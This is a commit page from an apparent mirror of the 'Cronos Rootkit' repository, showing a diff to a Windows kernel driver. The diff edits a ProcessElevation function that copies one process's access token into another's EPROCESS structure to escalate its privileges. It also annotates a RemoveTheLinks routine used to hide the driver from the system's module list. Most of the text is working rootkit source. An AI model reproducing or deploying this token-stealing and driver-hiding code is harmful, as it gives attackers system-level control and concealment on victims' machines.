admin/XaFF-XaFF-Cronos-Rootkit
1
0
Fork 0
mirror of https://github.com/XaFF-XaFF/Cronos-Rootkit synced 2026-08-09 12:23:30 +00:00
Code Issues Packages Projects Releases Wiki Activity

Functions used in debugging removed

Browse Source
This commit is contained in:
Administrator
2021-09-09 11:54:34 +02:00
parent 47109ca9ee
commit 6957db354f
2 changed files with 19 additions and 32 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Cronos Rootkit/Ghost.cpp
+3
View File
@@ -25,6 +25,9 @@ VOID HideDriver(PDRIVER_OBJECT DriverObject)
KdPrint(("[!] Driver hidden!\n"));
}
////
// BSOD AVOID USED FROM UNKNOWNCHEATS
////
VOID RemoveTheLinks(PLIST_ENTRY Current)
{
PLIST_ENTRY Previous, Next;
Cronos Rootkit/Rootkit.cpp
+16 -32
View File
@@ -74,44 +74,28 @@ NTSTATUS ProcessElevation(ULONG srcPid, ULONG targetPid)
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS pTargetProcess, pSrcProcess;
__try
//Getting target process
status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &pTargetProcess);
if (!NT_SUCCESS(status))
{
//Getting target process
status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &pTargetProcess);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Target PID PsLookup failed\n"));
return status;
}
KdPrint(("[+] Target EProcess address: 0x%p\n", pTargetProcess));
//Getting source process
status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Source PID PsLookup failed\n"));
return status;
}
KdPrint(("[+] Source EProcess address: 0x%p\n", pSrcProcess));
KdPrint(("[-] Target PID PsLookup failed\n"));
return status;
}
__except (EXCEPTION_EXECUTE_HANDLER)
KdPrint(("[+] Target EProcess address: 0x%p\n", pTargetProcess));
//Getting source process
status = PsLookupProcessByProcessId(ULongToHandle(srcPid), &pSrcProcess);
if (!NT_SUCCESS(status))
{
KdPrint(("[-] Target or source PID PsLookup failed\n"));
return EXCEPTION_EXECUTE_HANDLER;
KdPrint(("[-] Source PID PsLookup failed\n"));
return status;
}
__try
{
KdPrint(("[+] Setting source token to the target token\n"));
KdPrint(("[+] Source EProcess address: 0x%p\n", pSrcProcess));
KdPrint(("[+] Setting source token to the target token\n"));
*(UINT64*)((UINT64)pTargetProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);
KdPrint(("[*] Source token copied to the target!\n"));
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[-] Setting target token to source token failed!\n"));
return EXCEPTION_EXECUTE_HANDLER;
}
*(UINT64*)((UINT64)pTargetProcess + (UINT64)TOKEN) = *(UINT64*)(UINT64(pSrcProcess) + (UINT64)TOKEN);
KdPrint(("[*] Source token copied to the target!\n"));
return status;
}